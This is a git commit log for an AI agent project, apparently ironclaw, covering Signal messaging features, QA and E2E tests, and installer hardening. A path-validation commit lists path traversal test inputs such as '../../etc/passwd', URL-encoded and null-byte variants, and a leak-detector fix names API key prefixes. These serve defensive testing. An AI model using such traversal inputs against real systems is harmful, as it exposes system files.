  signature + timestamp staleness check (5s window via now_secs param)
- Validate Ed25519 keys in register_signature_key() (hex decode +
  VerifyingKey::try_from) before storing, return Result<(), String>
- Recursively resolve nested capabilities in resolve_nested()
- Add 25 new tests: 8 staleness, 6 key validation, 7 webhook
  integration (tower::oneshot), 4 resolve_nested edge cases
- Fix pre-existing clippy warning in signal.rs

Co-Authored-By: Claude Opus 4.6 <[email protected]>

* fix: wire register_signature_key() into all channel loading paths

The Ed25519 signature key registration was implemented and tested but
never called from production code. All three channel loading paths
(setup_wasm_channels, activate_wasm_channel, refresh_active_channel)
now read the public key from the secrets store and register it with
the webhook router, enabling Discord signature verification.

Adds `signature_key_secret_name` field to WebhookSchema so channels
can declare which secret contains their Ed25519 public key.

Co-Authored-By: Claude Opus 4.6 <[email protected]>

---------

Co-authored-by: Claude Opus 4.6 <[email protected]>
2026-02-27 07:01:54 +00:00
a24fd3e8a3 Add automated QA: schema validator, CI matrix, Docker build, and P1 test coverage (#353)
* Add automated QA: tool schema validator, feature-flag CI matrix, Docker build

P0 items from the automated QA plan (#352):

- Add validate_tool_schema() that checks OpenAI strict-mode rules
  (type: object, required keys in properties, nested object/array
  recursion) with 10 unit tests and 6 integration tests covering
  all core built-in tools

- CI test matrix now runs with --all-features, default features, and
  --no-default-features --features libsql to catch dead code behind
  wrong cfg gates

- CI clippy now runs the same 3-feature matrix with --all flags

- Docker build job added to catch missing files in Dockerfile

Co-Authored-By: Claude Opus 4.6 <[email protected]>

* Add P1 automated QA tests and fix LeakDetector prefix shadowing bug

P1 test coverage: config round-trip (settings + bootstrap), shell tool
arg handling, safety adversarial tests (sanitizer, leak detector,
allowlist), turn persistence (conversations, metadata, pagination, jobs),
and a clippy fix for libsql-only builds.

Fixed a real bug where AhoCorasick non-overlapping prefix iteration
caused shorter prefixes (e.g. "sk-") to shadow longer ones
(e.g. "sk-ant-api"), preventing Anthropic API key and SSH private key
detection.

Co-Authored-By: Claude Opus 4.6 <[email protected]>

* Add P2 automated QA tests: chaos, lifecycle, collision, and recovery

Cover all P2 items from the automated QA plan:
- Circuit breaker chaos tests (hanging provider, rapid cycles, mixed errors)
- Failover chaos tests (hanging failover, all-fail, tools path, single provider)
- Value estimator boundary tests (negative cost, zero price, zero earnings)
- Context length recovery test (ContextLengthExceeded -> compact -> retry)
- WASM channel lifecycle tests (write/commit/read round-trip, namespace isolation)
- Extension registry collision tests (same-name different-kind coexistence)
- Extension filesystem collision tests (separate dirs, detect_kind priority)

Co-Authored-By: Claude Opus 4.6 <[email protected]>

* Add P3 concurrent stress tests for ContextManager and SessionManager

Tests verify thread safety of double-checked locking, TOCTOU
prevention, and RwLock-based concurrent access patterns under load.

Co-Authored-By: Claude Opus 4.6 <[email protected]>

* Add dispatcher loop guard and self-repair stuck job tests

Dispatcher: test force_text mechanism prevents infinite tool call loops,
verify iteration bound arithmetic guarantees termination for all configs.

Self-repair: test stuck job detection, recovery within attempt limits,
manual escalation when limit exceeded, graceful degradation without
store/builder dependencies.

Co-Authored-By: Claude Opus 4.6 <[email protected]>

* Add E2E testing infrastructure design doc

Python + Playwright framework with mock LLM server for deterministic
browser-level testing of the web gateway. Covers connection/auth,
chat round-trip with SSE streaming, and skills lifecycle scenarios.

Co-Authored-By: Claude Opus 4.6 <[email protected]>

* Add E2E testing infrastructure implementation plan

10-task plan covering: scaffolding, mock LLM server, helpers,
conftest fixtures, connection/chat/skills test scenarios,
CI workflow, README, and integration run.

Co-Authored-By: Claude Opus 4.6 <[email protected]>

* scaffold: E2E test project with pyproject.toml

Co-Authored-By: Claude Opus 4.6 <[email protected]>

* feat: E2E helpers with DOM selectors and port discovery

Co-Authored-By: Claude Opus 4.6 <[email protected]>

* feat: mock OpenAI-compat LLM server for E2E tests

Co-Authored-By: Claude Opus 4.6 <[email protected]>

* feat: E2E conftest with session fixtures for mock LLM and ironclaw

Co-Authored-By: Claude Opus 4.6 <[email protected]>

* feat: E2E scenario 1 -- connection and tab navigation tests

Co-Authored-By: Claude Opus 4.6 <[email protected]>

* feat: E2E scenario 2 -- chat message round-trip tests

Co-Authored-By: Claude Opus 4.6 <[email protected]>

* feat: E2E scenario 3 -- skills search, install, remove tests

Co-Authored-By: Claude Opus 4.6 <[email protected]>

* ci: add weekly E2E test workflow with Playwright

Co-Authored-By: Claude Opus 4.6 <[email protected]>

* docs: E2E test README with setup and usage instructions

Co-Authored-By: Claude Opus 4.6 <[email protected]>

* fix: E2E test integration fixes from first run

- Use temp file DB instead of :memory: (libSQL :memory: doesn't persist
  tables across execute_batch)
- Fix installed skills selector: #skills-list not #installed-skills
- Add pytest-timeout to dependencies
- Improve skills install/remove test with wait_for instead of fixed sleeps

8 passed, 1 skipped (skills install depends on ClawHub availability)

Co-Authored-By: Claude Opus 4.6 <[email protected]>

* test: add OpenAI strict-mode schema validator for all built-in tools (QA 1.1)

Add src/tools/schema_validator.rs with validate_strict_schema() that checks
tool parameter schemas against OpenAI function calling strict-mode rules:
type object at top level, required keys in properties, enum type consistency,
array items definitions, nested object recursion, and additionalProperties.

17 tests validate all 34+ built-in tool schemas across 5 test groups:
- 9 simple tools (echo, time, json, http, shell, file read/write/list/patch)
- 4 job tools (create, list, status, cancel)
- 4 skill tools (list, search, install, remove)
- 13 inline schemas for extension, routine, and complex job tools
- 4 memory tool schemas

Co-Authored-By: Claude Opus 4.6 <[email protected]>

* test: add E2E scenarios for SSE reconnect, HTML injection, and tool approval (QA 3.3/5/6)

Co-Authored-By: Claude Opus 4.6 <[email protected]>

* fix: E2E test reliability for HTML injection and SSE reconnect

- HTML injection: test sanitization directly via JS injection instead of
  depending on full LLM round-trip (avoids intermittent 404 from mock)
- SSE reconnect: increase wait times for DB persistence and relax
  assertion to check total message count after history reload

Co-Authored-By: Claude Opus 4.6 <[email protected]>

* style: cargo fmt formatting

Co-Authored-By: Claude Opus 4.6 <[email protected]>

* test: add WASM and MCP tool schema validation tests (QA 1.1)

Extends the schema validator with representative WASM tool schemas
(weather, HTTP client, batch processor, status), MCP tool schemas
(default, file read, SQL query, strict mode), and defect detection
tests for common external schema issues (missing type, typo in
required, array without items, enum type mismatch).

Co-Authored-By: Claude Opus 4.6 <[email protected]>

* test: add auth middleware and compaction module tests

Auth middleware (8 new tests): valid/invalid bearer tokens, query param
fallback, case sensitivity, empty tokens, whitespace handling.

Compaction module (16 new tests): truncation strategy, summarize strategy
with mock LLM, workspace fallback, format_turns helper, sequential
compactions, coherence after compaction, token decrease verification.

Co-Authored-By: Claude Opus 4.6 <[email protected]>

* test: add config round-trip integration tests (QA 1.2)

Test the full bootstrap .env lifecycle: write via the same format
as save_bootstrap_env/upsert_bootstrap_var, read back via dotenvy,
and assert values match. Covers LLM backend selection, embedding
disable flag, onboard completion flag, session token keys, multi-key
preservation across upsert, and special characters (spaces, equals,
quotes, backslashes, hashes).

Co-Authored-By: Claude Opus 4.6 <[email protected]>

* test: add value estimator boundary tests and dispatcher loop guard (QA 4.3/4.4)

Value estimator (14 new tests): zero/negative prices, large values,
negative cost, exact margin boundaries, custom margin configuration.

Dispatcher loop guard (2 new tests): verifies the dispatch loop terminates
when all tool calls fail (regression guard for PR #252 infinite loop)
and when max iterations are reached.

Co-Authored-By: Claude Opus 4.6 <[email protected]>

* test: add failover edge cases and provider chaos tests (QA 2.6/4.1)

Failover edge cases (4 new tests): cooldown at zero nanos, half-open
failure reopens circuit, all providers fail gracefully (no panic),
single failing provider with cooldown.

Provider chaos tests (15 new tests): flakey provider with retries,
hanging provider with timeout, garbage provider, circuit breaker
trip/recover, failover chain cascading, non-transient error stops
chain, full stack integration (retry + failover + circuit breaker).

Co-Authored-By: Claude Opus 4.6 <[email protected]>

* fix: address PR review feedback on QA tests

- Fix Bearer auth case-sensitivity per RFC 6750 (auth.rs)
- Refactor bootstrap.rs to expose path-parameterized variants so
  config_round_trip tests call real code instead of reimplementations
- Remove deprecated event_loop fixture, use dynamic ports, minimal env,
  session-scoped browser, and wire HEADED=1 in E2E conftest
- Add cross-referencing doc comments between schema validators
- Simplify array validation logic in tool.rs
- Bump e2e.yml checkout@v4 to @v6

Co-Authored-By: Claude Opus 4.6 <[email protected]>

* style: cargo fmt and fix clippy warning in signal.rs

Co-Authored-By: Claude Opus 4.6 <[email protected]>

* fix: improve E2E fixture error reporting and prevent stdin blocking

- Add --no-onboard flag to prevent wizard from blocking in CI
- Pipe /dev/null to stdin to prevent any stdin reads from hanging
- Add RUST_BACKTRACE=1 for crash diagnostics
- On server startup timeout, dump stderr to pytest output so CI
  logs show why the server failed to start

Co-Authored-By: Claude Opus 4.6 <[email protected]>

* fix: set session-scoped event loop for E2E async fixtures

pytest-asyncio 1.3.0 defaults asyncio_default_fixture_loop_scope to
None (function scope), causing session-scoped async fixtures to be
re-evaluated per test function with independent event loops. Each test
then independently attempts to start the ironclaw server, times out
at 120s, and wastes ~24 minutes of CI before the job is cancelled.

Setting asyncio_default_fixture_loop_scope = "session" ensures all
session-scoped async fixtures share a single event loop, so the server
starts once and is reused across all tests.

Also adds -x flag to pytest in CI to stop on first failure instead of
running all 19 tests when the fixture is broken.

Co-Authored-By: Claude Opus 4.6 <[email protected]>

* fix: set test loop scope to session to match fixture loop scope

With asyncio_default_fixture_loop_scope=session but
asyncio_default_test_loop_scope=function (the default), tests run on
a per-function event loop while fixtures produce objects (Playwright
pages, browser contexts) on the session event loop. This event loop
mismatch causes the test to hang indefinitely awaiting Playwright
operations that are bound to the wrong loop.

Setting both scopes to "session" ensures a single event loop is shared
across all fixtures and tests, eliminating the deadlock.

Co-Authored-By: Claude Opus 4.6 <[email protected]>

* ci: add roll-up jobs to match branch protection required checks

Branch protection expects "Code Style (fmt + clippy)" and "Run Tests"
status checks, but only individual job names were reported. Add
roll-up jobs that aggregate results and report the expected names.

Co-Authored-By: Claude Opus 4.6 <[email protected]>

---------

Co-authored-by: Claude Opus 4.6 <[email protected]>
2026-02-27 09:09:45 +04:00
e8eb4ca0bd fix: prevent duplicate WASM channel activation on startup (#390)
Register boot-loaded WASM channel names with the extension manager via
set_active_channels() before set_channel_runtime() so the dedup guard
in activate_wasm_channel() is armed before the activation path becomes
available. This fixes 409 Conflict errors from the Telegram API caused
by two concurrent getUpdates polling loops.

Also fix pre-existing clippy warning in signal.rs test.

Co-authored-by: Claude Opus 4.6 (1M context) <[email protected]>
2026-02-27 07:54:01 +04:00
ibhagwanandGitHub bf35b59222 feat(signal) attachment upload + message tool (#375)
* feat(channels/signal): add attachment upload support

- Add attachments field to OutgoingResponse for carrying file paths
- Add with_attachments() builder method to OutgoingResponse
- Update build_rpc_params() to include attachments array in JSON-RPC
- Update respond() and broadcast() to handle attachments:
  - Text + attachments: sends text first, then each attachment
  - Attachments only: sends each attachment with path as message
  - Text only: original behavior (no change)
- Add tests for build_rpc_params with attachments
- Add tests for OutgoingResponse attachment builder

This enables the Signal channel to send files via signal-cli daemon's
JSON-RPC send method, matching the nullclaw implementation.

Risk: Low - uses existing JSON-RPC infrastructure
Tests: 85 signal tests pass, 1543 lib tests pass

* feat(tools): add message tool for cross-channel messaging

Add a new 'message' tool that allows the agent to send messages to
any connected channel (signal, telegram, slack, etc.) with optional
file attachments.

Features:
- Send messages to specific channel + target combinations
- Support for attachments (file paths)
- E.164 validation delegated to channel (signal expects +number,
  telegram accepts username/chat_id, slack uses #channels)
- Helpful error messages showing available channels on failure

Tool schema:
- content: message text (required)
- channel: target channel name (optional, defaults to current channel)
- target: recipient (E.164, group ID, chat ID) (optional, defaults to
  current user/group chat)
- attachments: optional file paths to send

This complements the recently added attachment upload support for the
Signal channel by giving the agent a proper way to specify attachments
when sending messages.

Tests: 4 new tests for message tool schema
Risk: Low - new tool with no breaking changes
Tests: All 1547 lib tests pass, clippy clean

* feat(llm): add conversation context to system prompt for Signal

Add conversation_context HashMap to Reasoning struct to pass channel-specific
metadata (sender phone, sender UUID, group ID) to the LLM. This helps the
agent know who/group it's talking to, preventing it from hallucinating
phone numbers or sending to wrong recipients.

Changes:
- Add conversation_context field and with_conversation_data() builder method
- Add build_conversation_section() to include current conversation info in system prompt
- Update dispatcher to extract Signal metadata (sender, sender_uuid, group) and pass to Reasoning
- Add signal_sender_uuid to Signal channel metadata for privacy mode users

* feat(tools): add secure attachment path validation with sandbox enforcement

Implement robust path validation for message tool attachments to prevent
directory traversal attacks and unauthorized file access. Attachments are
now sandboxed to ~/.ironclaw/ by default.

Key changes:
- Create shared path_utils module with validate_path() and is_path_safe_basic()
- Extract normalize_lexical() from file.rs for reuse
- MessageTool now enforces sandbox at ~/.ironclaw/ for all attachments
- Path validation includes: traversal detection, canonicalization, symlink resolution
- Error messages reveal the allowed sandbox directory for user clarity

Security improvements:
- Blocks path traversal attacks (../, URL-encoded, null bytes)
- Canonicalizes paths to resolve symlinks before validation
- Walks up to nearest existing ancestor for non-existent paths
- Prevents escape from sandbox directory

Backward compatibility:
- File tools continue to work with their configured base_dir
- Message tool defaults to ~/.ironclaw/ sandbox
- Tests updated to create files within sandbox

Tests added:
- path_utils module tests (9 tests for validation logic)
- message tool attachment validation tests
- All 1571 existing tests pass

* fix(channels/signal): use robust path validation with full security coverage

Signal channel's validate_attachment_paths() now uses path_utils::validate_path()
for consistent, secure path validation.

Fixes:
- Replaced weak path.contains('..') check with robust validate_path()
- validate_path() now includes is_path_safe_basic() as first-pass filter to
  block null bytes and URL-encoded traversal sequences (%2e%2e%2f)
- Error message now shows allowed sandbox directory (~/.ironclaw/)

Security coverage:
- Path traversal: ../, foo/../bar, ../../etc/passwd ✓
- URL-encoded traversal: %2e%2e%2fetc/passwd ✓
- Null byte injection: file\0.txt ✓
- Paths outside sandbox: /tmp/evil.txt ✓
- Symlink escape attempts (via canonicalization) ✓

Tests added:
- validate_attachment_paths_rejects_path_outside_sandbox
- validate_attachment_paths_rejects_url_encoded_traversal
- validate_attachment_paths_rejects_null_byte
- Fixed broken assertion in rejects_double_dot test

* fix(llm): add Signal channel to build_channel_section to include message tool hint

The catch-all '_' arm was returning early before the message_tool_hint
section was constructed, which meant Signal users never got the
'## Proactive Messaging' section with examples for:
- Using attachments parameter
- Targeting different users/groups
- Cross-channel messaging

Now Signal will include the full message_tool_hint section with usage examples.

* fix(tools): use async locks in register_message_tools to prevent silent failures

The method was using register_sync which calls try_write() on self.tools.
If the lock was held, try_write() would return Err and silently skip
adding the tool to the registry, while self.message_tool already held
a reference. This creates an inconsistent state.

Fix: use async write locks directly instead of register_sync to ensure
the tool is always registered or the method fails explicitly.

* refactor(dispatcher): use Channel trait for conversation context

Replace hardcoded 'if message.channel == signal' block with generic
conversation_context() method on the Channel trait. This allows any
channel to provide context (sender, group, etc.) without hardcoding
channel names.

Changes:
- Add conversation_context() method to Channel trait (default: empty)
- Implement for SignalChannel: extracts sender, sender_uuid, group
- Add get_channel() to ChannelManager (returns Arc<dyn Channel>)
- Change ChannelManager storage from Box to Arc for shared access
- Update dispatcher to use new trait method
- Add tests for conversation_context extraction

Other channels (Telegram, Slack, Discord) can now implement this
method to provide conversation context without code changes in dispatcher.

* fix(tests): split message_tool_with_attachments into sandbox and channel tests

The original test was passing for the wrong reason - it expected an error
because the channel doesn't exist, but actually failed earlier during sandbox
validation because /tmp paths are outside ~/.ironclaw/.

Split into two tests:
- message_tool_with_attachments_outside_sandbox: verifies sandbox rejection
  with explicit error message check
- message_tool_with_attachments_inside_sandbox_no_channel: uses files within
  sandbox (like message_tool_passes_attachment_to_broadcast does) and verifies
  the channel-related error message

* security(message tool): add rate limiting, approval requirements, and audit logging

The message tool can send to ANY connected channel/target making it a significant
abuse vector if the LLM is compromised or prompt-injected. This commit adds:

1. Rate limiting: 10 messages/minute, 100/hour per user
2. Approval requirement: Always requires approval for cross-channel messages
   (when channel differs from the default conversation channel)
3. Audit logging: Every successful message send is logged with channel,
   target, and attachment count

The approval logic:
- If channel param is provided and differs from default -> Always require approval
- If no default channel is set and explicit channel provided -> Always require approval
- Otherwise (using default channel) -> UnlessAutoApproved

* fix(message tool): return explicit error for malformed attachments array

Previously, malformed attachments like {"attachments": [123, true]} would be
silently ignored via .ok().unwrap_or_default(), leaving users confused
when attachments weren't sent.

Now returns explicit error: "Invalid attachments format: ..."

* fix(message tool): verify attachment files exist before sending

Previously, non-existent paths would pass sandbox validation and surface
as confusing Signal RPC errors. Now returns clear "Attachment file not found" error.

* fix(test): create sandbox directory if it doesn't exist for CI

The test validate_attachment_paths_accepts_normal_paths uses
tempfile::tempdir_in() which requires the parent directory to exist.
In CI, ~/.ironclaw doesn't exist, causing test failure.
2026-02-26 18:06:21 +04:00
github-actions[bot]GitHubgithub-actions[bot] <41898282+github-actions[bot]@users.noreply.github.com>
1156884a49 chore: release v0.12.0 (#331)
Co-authored-by: github-actions[bot] <41898282+github-actions[bot]@users.noreply.github.com>
2026-02-26 12:12:58 +04:00
996c6a8cc9 feat(web): improve WASM channel setup flow (#380)
* feat(web): improve WASM channel setup flow with stepper UI and auto-configure

Streamline the WASM channel setup experience in the web gateway:

- Auto-open configure modal after installing a WASM channel
- Add progress stepper (Installed → Configured → Active) on channel cards
- Replace generic Activate button with state-specific actions (Setup, Reconfigure, Restart)
- Show "Awaiting Pairing" status for Telegram until first user is paired
- Add SSE extension_status events for real-time status updates
- Add gateway restart endpoint (POST /api/gateway/restart) with idempotency guard
- Always mount webhook routes at startup so hot-added channels work without restart
- Add pairing request polling (10s interval) on extensions tab
- Track activation errors per channel with inline error display

Includes review fixes: activation_error priority over active status, stepper
failed state rendering, restart poll timeout, configure modal double-submit
guard, and SSE sender ordering constraint documentation.

Co-Authored-By: Claude Opus 4.6 (1M context) <[email protected]>

* refactor: address PR review comments

- Move PairingStore construction outside .map() loop
- Extract createReconfigureButton() helper to reduce duplication

Co-Authored-By: Claude Opus 4.6 (1M context) <[email protected]>

---------

Co-authored-by: Claude Opus 4.6 (1M context) <[email protected]>
2026-02-25 22:27:13 -08:00
abda94d44f fix: correct MCP registry URLs and remove non-existent Google endpoints (#370)
Audit all built-in MCP server URLs against live endpoints. Fix 5 broken
paths (Linear, Sentry, Cloudflare, Asana, Intercom), fix 1 broken host
(GitHub), and remove 2 entries (Google Drive, Google Calendar) whose
domain mcp.google.com does not exist and Google has no official remote
MCP servers for these products.

Co-authored-by: Claude Opus 4.6 (1M context) <[email protected]>
2026-02-26 00:04:39 +00:00
443b120272 feat(web): inline tool activity cards with auto-collapsing (#376)
* feat(web): inline tool activity cards with auto-collapsing

Add Claude/Codex-style inline tool activity cards to the web UI that
show tool execution progress directly in the chat conversation.

While processing:
- Animated thinking dots with message text (e.g. "Calling LLM...")
- Individual tool cards with live spinner and elapsed timer
- Cards show tool name, duration, and expandable output preview

After response arrives:
- Activity group auto-collapses to "Used N tools (Xs)"
- Click summary to expand and see individual tool cards
- Click card header to see tool output in monospace

Also includes:
- "Calling LLM..." thinking status from dispatcher (all channels)
- 5-minute max timer guard to prevent leaks on dropped SSE
- Handles parallel tools, same tool twice, failures, thread switching

Co-Authored-By: Claude Opus 4.6 (1M context) <[email protected]>

* fix(web): use frozen duration for completed tools in activity summary

The collapsed activity summary was showing inflated total duration
because finalizeActivityGroup() recalculated elapsed time from
Date.now() for already-completed tools. Now each tool card stores
its final duration at completion time and the summary uses that
frozen value instead.

Co-Authored-By: Claude Opus 4.6 (1M context) <[email protected]>

---------

Co-authored-by: Claude Opus 4.6 (1M context) <[email protected]>
2026-02-25 16:01:35 -08:00
2477923af2 fix: resolve_thread adopts existing session threads by UUID (#377)
* fix: resolve_thread adopts existing session threads by UUID

When chat_new_thread_handler creates a thread directly in the session,
it doesn't register a thread_map entry. On the first message,
resolve_thread would create a duplicate thread with a different UUID,
causing:

- Thread appears empty when switching back (loadHistory queries the
  original UUID but turns live on the duplicate)
- Orphaned tabs in the thread list (both the original and duplicate
  appear)

Fix: before creating a new thread, check if the external_thread_id is
itself a UUID that exists as a thread in the session. If so, adopt it
and register the mapping. A mapped_elsewhere guard preserves channel
scope isolation.

Co-Authored-By: Claude Opus 4.6 (1M context) <[email protected]>

* fix: double-checked locking in resolve_thread UUID adoption

Re-check mapped_elsewhere after acquiring the write lock to prevent
a TOCTOU race where another task could map the same UUID between
the read lock check and write lock insertion, breaking channel
isolation.

Co-Authored-By: Claude Opus 4.6 (1M context) <[email protected]>

---------

Co-authored-by: Claude Opus 4.6 (1M context) <[email protected]>
2026-02-25 16:01:10 -08:00
0c5f082d16 feat(web): display logs newest-first in web gateway UI (#369)
Reverse log display order so the most recent entries appear at the top,
removing the need to scroll to see latest activity.

Frontend: rename appendLogEntry to prependLogEntry, use prepend() for
DOM insertion, cap oldest entries from the bottom, and auto-scroll to
top. Backend: update recent_entries() doc comment to clarify the
oldest-first return order works correctly with the frontend's prepend.

Co-authored-by: Claude Opus 4.6 (1M context) <[email protected]>
2026-02-25 16:00:09 -08:00
db2ba424ce Add --version flag with clap built-in support and test (#342)
Co-authored-by: firat.sertgoz <[email protected]>
2026-02-25 17:25:07 +04:00
ibhagwanandGitHub e41b282868 feat(signal): tool approval workflow and status updates (#350)
* fix(signal): send approval prompts to users

The Signal channel was not handling StatusUpdate::ApprovalNeeded,
causing approval requests to be silently ignored and users to
never see approval prompts.

This adds proper handling of ApprovalNeeded status that sends
a formatted message to the user with:
- Tool name and description
- Parameters (formatted as JSON)
- Request ID for reference
- Instructions on how to approve/deny/always-approve

The message uses Signal's markdown-style formatting for better
readability on mobile devices.

* feat(signal): add missing StatusUpdate handlers

Add handling for all StatusUpdate variants in Signal channel,
bringing it on par with Telegram's implementation:

- ToolStarted: Shows spinner icon when tool execution begins
- ToolCompleted: Shows checkmark/X based on success/failure
- JobStarted: Shows sandbox job start with ID and URL
- AuthRequired: Shows auth prompt with instructions and URLs
- AuthCompleted: Shows auth success/failure with optional message

This ensures Signal status feedback users receive full during
tool execution, approvals, and authentication flows, matching
the experience of Telegram and other channels.

fix(signal): address clippy warnings and improve error handling

- Collapse nested if statements into let-chains
- Fix needless borrow on Status message
- Extract send_status_message helper to reduce duplication
- Add warning logs for failed message sends

* fix(signal): suppress 'Done' status messages to user

* feat(signal): debug mode parity with REPL

- Add debug_mode to SignalChannel toggled via /debug command
- Gate ToolResult, ToolStarted, ToolCompleted behind debug mode
- Add tests: debug_mode_disabled_by_default, debug_mode_toggle, debug_mode_persists_across_toggles
2026-02-25 16:34:54 +04:00
62dc5d046e feat: add OpenRouter preset to setup wizard (#270)
* feat: add OpenRouter preset to setup wizard

Add OpenRouter as a top-level provider option in the onboarding wizard
(Step 3). Selecting it pre-fills the base URL (https://openrouter.ai/api/v1)
and prompts for an API key, avoiding manual URL entry. Under the hood it
uses the existing openai_compatible backend.

Inlines the key collection flow (rather than delegating to
setup_api_key_provider) so success messages consistently say "OpenRouter"
instead of "openai_compatible", including the early-return env-key path.

Closes #178

Co-Authored-By: Claude Opus 4.6 <[email protected]>

* fix: address serrrfirat review comments on OpenRouter wizard preset

- Re-run path now recognizes OpenRouter: display shows "OpenRouter"
  and keep-current routes to setup_openrouter() when base URL contains
  openrouter.ai
- Refactor setup_openrouter() to delegate to setup_api_key_provider()
  with a display_name override, eliminating ~40 lines of duplication
- Update README: remove false claim about model fetching from
  OpenRouter API, add footnote explaining shared secret/env var
  between OpenRouter and OpenAI-compatible
- Fix pre-existing clippy warning in settings.rs (field_reassign_with_default)

Co-Authored-By: Claude Opus 4.6 <[email protected]>

---------

Co-authored-by: Claude Opus 4.6 <[email protected]>
2026-02-24 22:23:39 +04:00
DevBrocoandGitHub 4d27079cc3 Update FEATURE_PARITY.md (#337)
change status of completion 
2026-02-24 14:56:38 +04:00
e9f32eaebe fix: resolve telegram/slack name collision between tool and channel registries (#346)
When installing the Telegram WASM channel via the web UI, a name collision
between registry/tools/telegram.json and registry/channels/telegram.json
caused the tool entry to win, installing to ~/.ironclaw/tools/ instead of
~/.ironclaw/channels/. This made activation fail with "WASM runtime not
available".

- Add `get_with_kind()` to ExtensionRegistry for kind-aware lookup
- Use `kind_hint` parameter in `install()` to resolve collisions
- Rename tool entries to avoid future collisions: telegram → telegram-mtproto,
  slack → slack-tool
- Fix `_bundles.json` stale reference (tools/slack → tools/slack-tool)
- Fix `cache_discovered()` to deduplicate by (name, kind) consistently
- Add path traversal validation to install/activate/remove entry points
- Add tests for kind-aware lookup, discovery cache, and bundle resolution

Co-authored-by: Claude Opus 4.6 (1M context) <[email protected]>
2026-02-24 15:29:25 +08:00
ibhagwanandGitHub b0b3a50fa3 feat(channels): add native Signal channel via signal-cli HTTP daemon (#271)
* feat(channels): add native Signal channel via signal-cli HTTP daemon

Implement a native Rust Signal channel that connects to a running
signal-cli daemon's HTTP endpoint, enabling Signal messaging without
WASM overhead.

Architecture:
- SSE listener at /api/v1/events for receiving messages with automatic
  reconnection and exponential backoff
- JSON-RPC client at /api/v1/rpc for sending messages and typing
  indicators
- Reply target tracking via Arc<RwLock<HashMap>> to route responses
  back to the correct DM or group conversation

Features:
- User allowlisting supporting E.164 phone numbers, bare UUIDs, and
  uuid:-prefixed identifiers (matching OpenClaw's format)
- Group allowlisting with wildcard (*) support
- Configurable story and attachment-only message filtering
- Health check via signal-cli /api/v1/check
- Broadcast support to all tracked reply targets

Configuration via environment variables:
- SIGNAL_HTTP_URL, SIGNAL_ACCOUNT (required)
- SIGNAL_ALLOWED_USERS, SIGNAL_ALLOWED_GROUPS
- SIGNAL_IGNORE_ATTACHMENTS (default: false)
- SIGNAL_IGNORE_STORIES (default: true)

Includes unit tests covering allowlist logic, envelope parsing,
recipient targeting, SSE deserialization, and edge cases.

* refactor(signal): remove expect|unwrap calls

- Change SignalChannel::new to return Result<Self, ChannelError>
- Replace .expect() on reqwest client build with proper error handling
- Replace .expect() on NonZeroUsize with compile-time const using unsafe new_unchecked
- Propagate errors through test helpers to avoid unwraps in tests

* fix(signal): prevent OOM from chunked response without Content-Length

Use bytes_stream() to check response size during download rather than
buffering entire body first. This closes the OOM vector where a
malicious signal-cli daemon could send unbounded chunked data.

* fix(signal): align is_e164 minimum digits with setup wizard

Both now require 7-15 digits after '+', preventing environment
variable bypass of the stricter onboarding validation.

* refactor(signal): extract from_parts constructor

Extract SignalChannel::from_parts() used by both new() and
sse_listener() to ensure consistent object construction.

* chore: remove redundant unused var

* refactor(signal): rename allowed_users to allow_from and add dm_policy/group_policy

- Rename allowed_users -> allow_from for consistency with other channels
- Rename allowed_groups -> allow_from_groups
- Add dm_policy field: 'open', 'allowlist', or 'pairing' (default: 'pairing')
- Add group_policy field: 'allowlist', 'open', or 'disabled' (default: 'allowlist')
- Add group_allow_from field that inherits from allow_from if empty
- Implement dm_policy and group_policy logic in message processing
- Add environment variable resolution: SIGNAL_ALLOW_FROM, SIGNAL_ALLOW_FROM_GROUPS,
  SIGNAL_DM_POLICY, SIGNAL_GROUP_POLICY, SIGNAL_GROUP_ALLOW_FROM
- Add setup wizard prompts for new policy options
- Note: full pairing flow (PairingStore integration) marked as pending for future PR

* feat(signal): implement DM pairing workflow for unapproved senders

- Add PairingStore integration to check approved senders
- Handle pairing requests for unknown senders with dm_policy=pairing
- Send pairing reply message with approval instructions
- Update FEATURE_PARITY.md to reflect DM pairing support

* chore(ci): fix clippy warnings
2026-02-24 10:25:16 +04:00
3e552e0e8e fix: make onboarding installs prefer release artifacts with source fallback (#323)
* fix: make onboarding installs prefer release artifacts with source fallback

* fix: harden extension fallback errors and surface setup warnings

* fix: validate registry artifacts and harden fallback errors

* fix: address review feedback on installer fallback

- Add upfront validate_manifest_install_inputs() in
  install_with_source_fallback so bad manifests fail fast without
  relying on inner methods to catch them
- Document ALLOWED_ARTIFACT_HOSTS as GitHub-only by design
- Document intentional url omission from DownloadFailed Display
- Add channel manifest validation tests (wrong prefix rejected,
  correct prefix accepted)

Co-Authored-By: Claude Opus 4.6 <[email protected]>

* fix: require SHA256 checksum for artifact downloads

Reject artifact installs when the manifest has sha256: null instead of
warning and proceeding. This prevents installing unverified pre-built
binaries during onboarding. The check runs before downloading to avoid
wasting bandwidth.

Since InvalidManifest blocks source fallback, manifests with URLs but
no checksums will hard-fail rather than silently falling back to source
build — forcing the manifest to be fixed.

The release CI already computes SHA256 for each bundle; the manifests
just need to be populated with the actual values.

Co-Authored-By: Claude Opus 4.6 <[email protected]>

* fix: enforce SHA256 checksums and auto-patch manifests in CI

- Fix cargo fmt on SHA256 check code
- Reorder release CI: build WASM extensions before binary so manifests
  can be patched with computed SHA256 before build.rs embeds them
- Add "Patch manifests with WASM checksums" step in build-local-artifacts
  that reads checksums.txt and updates registry JSON files before building
- Add update-registry-checksums job that commits patched manifests back
  to main after release, keeping the repo in sync with released artifacts

This closes the integrity gap where all manifests had sha256: null and
artifact downloads were unverified. The binary now embeds correct SHA256
values and the installer hard-rejects null checksums.

Co-Authored-By: Claude Opus 4.6 <[email protected]>

---------

Co-authored-by: Claude Opus 4.6 <[email protected]>
Co-authored-by: Bowen Wang <[email protected]>
2026-02-23 18:49:18 +00:00
cbf5c93578 fix: copy missing files in Dockerfile to fix build (#322)
* fix: copy missing files in Dockerfile to fix build

The Docker build failed because Cargo.toml references files that were
not copied into the builder stage:

1. tests/html_to_markdown.rs — declared as [[test]] in Cargo.toml,
   Cargo validates the path exists even when only building a binary.
2. build.rs — auto-discovered build script that embeds registry
   manifests at compile time via include_str!(env!("OUT_DIR")).
3. registry/ — contains extension manifests read by build.rs to
   generate the embedded catalog.

Added COPY directives for build.rs, tests/, and registry/.

Fixes nearai/ironclaw#320

Co-Authored-By: Claude Opus 4.6 <[email protected]>

* Address serrrfirat review feedback on WASM channel omission

- Add Dockerfile comment documenting that channels-src/ is intentionally
  omitted since WASM compilation requires wasm32-wasip2 and wasm-tools
  which are not installed in the builder stage

Co-Authored-By: Claude Opus 4.6 <[email protected]>

